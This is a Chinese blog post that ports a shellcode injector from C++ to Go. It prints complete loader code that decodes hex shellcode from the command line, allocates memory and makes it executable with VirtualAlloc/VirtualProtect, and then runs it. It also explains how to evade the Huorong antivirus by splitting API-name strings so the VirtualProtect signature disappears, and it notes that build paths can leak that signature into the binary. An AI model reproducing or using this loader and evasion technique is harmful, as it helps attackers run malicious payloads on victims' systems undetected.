GO重写SSI 原项目:https://github.com/DimopoulosElias/SimpleShellcodeInjector
0x01 C++版本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #include <stdio.h> #include <windows.h> int main (int argc, char * argv[]) { unsigned int char_in_hex; char * shellcode = argv[1 ]; unsigned int iterations = strlen (shellcode); unsigned int memory_allocation = strlen (shellcode) / 2 ; for (unsigned int i = 0 ; i < iterations - 1 ; i++) { sscanf (shellcode + 2 * i, "%2X" , &char_in_hex); shellcode[i] = (char )char_in_hex; } void * exec = VirtualAlloc(0 , memory_allocation, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); memcpy (exec, shellcode, memory_allocation); DWORD ignore; VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, &ignore); (*(void (*)()) exec)(); return 0 ; }
把主要的代码复制过来了,一些logo就不复制了,关键的地方也注释了
0x02 GO版本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 package mainimport ( "encoding/hex" "fmt" "os" "syscall" "unsafe" ) const ( MEM_COMMIT = 0x1000 PAGE_EXECUTE = 0x10 PAGE_READWRITE = 0x04 ) var kernel32 = syscall.NewLazyDLL("kernel32.dll" )var VirtualAlloc = kernel32.NewProc("VirtualAlloc" )var memcpy = syscall.NewLazyDLL("msvcrt.dll" ).NewProc("memcpy" )var VirtualProtect = kernel32.NewProc("VirtualProtect" )func main () { if (len (os.Args) < 2 ){ fmt.Println("example:./code.exe code" ) syscall.Exit(1 ) } s := os.Args[1 ] x,_ := hex.DecodeString(s) exec,_,_ :=VirtualAlloc.Call( uintptr (0 ), uintptr (len (s)), uintptr (MEM_COMMIT), uintptr (PAGE_READWRITE)) memcpy.Call(exec, uintptr (unsafe.Pointer(&x[0 ])), uintptr (len (x))) var oldfperms2 uint32 ; VirtualProtect.Call( uintptr (unsafe.Pointer(*(**uintptr )(unsafe.Pointer(&exec)))), uintptr (uint (len (s))), uintptr (uint32 (PAGE_EXECUTE)), uintptr (unsafe.Pointer(&oldfperms2))) syscall.Syscall(exec,0 ,0 ,0 ,0 ) }
这就很坑了,这玩意才写出来几天,刚写出来都是免杀的,为了写这篇文章重新测试的时候发现被火绒杀爆了,于是开始找原因,最后发现在
1 2 var VirtualAlloc = kernel32.NewProc("VirtualAlloc" )var VirtualProtect = kernel32.NewProc("VirtualProtect" )
这两句话上面,两个都是申请内存的函数,这就很想不通了,火绒应该不至于连申请内存的函数都不让用吧,而且C++的火绒也没有杀啊
思考了一下感觉问题出现在字符串上面,如果字符串不连接,是不是就不容易被检测出来
于是尝试了一下,的确拼接字符串可以绕过
下面是代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 package mainimport ( "encoding/hex" "fmt" "os" "syscall" "unsafe" ) const ( MEM_COMMIT = 0x1000 PAGE_EXECUTE = 0x10 PAGE_READWRITE = 0x04 ) var _hao string = "Virtual" var hao string = "Alloc" var _fan string = "Vir" var fan string = "tualProtect" var kernel32 = syscall.NewLazyDLL("kernel32.dll" )var VirtualAlloc = kernel32.NewProc(_hao+hao)var memcpy = syscall.NewLazyDLL("msvcrt.dll" ).NewProc("memcpy" )var VirtualProtect = kernel32.NewProc(_fan+fan)func main () { if (len (os.Args) < 2 ){ fmt.Println("example:./code.exe code" ) syscall.Exit(1 ) } s := os.Args[1 ] x,_ := hex.DecodeString(s) exec,_,_ :=VirtualAlloc.Call( uintptr (0 ), uintptr (len (s)), uintptr (MEM_COMMIT), uintptr (PAGE_READWRITE)) memcpy.Call(exec, uintptr (unsafe.Pointer(&x[0 ])), uintptr (len (x))) var oldfperms2 uint32 ; VirtualProtect.Call( uintptr (unsafe.Pointer(*(**uintptr )(unsafe.Pointer(&exec)))), uintptr (uint (len (s))), uintptr (uint32 (PAGE_EXECUTE)), uintptr (unsafe.Pointer(&oldfperms2))) syscall.Syscall(exec,0 ,0 ,0 ,0 ) }
0x03 免杀思路 首先确定VirtualProtect是可以使用的,因为C++版没有报毒
所以应该不是拦截函数,在上面的程序里VirtualProtect是出现在字符串里面的,在PE一般字符串是存放在.rdata里面的,猜测火绒认为VirtualProtectal字符串不应该出现在这里
所以定义两个字符串拼接,字符串就不会连接起来,尝试了之后发现的确是可以
(后来查看了一下C++版本的PE文件发现VirtualProtect也是在.rdata里面的,可能是因为编程语言的不同所以杀软辨别的不一样)
然后想把另外一个也改一下,就是两则shellcode加载器文章的第一个,因为里面也有这个字符串
但是那个就开始扯起来了,怎么改都报毒..后来删到只剩一个空的main函数了还是报毒..
猜测go编译器是不是把路径也编译进去了..因为这个文件夹名称是VirtualProtect,后来换了有一个文件夹果然不报毒了..看了一下PE还真把路径写进去了
这也是一个小坑点吧
最后来看一下两个PE文件的区别
未报毒
可以看到搜索不到VirtualProtect字符串
报毒
可以搜索到VirtualProtect字符串,用00覆盖掉,杀软就报毒了,证明这是特征码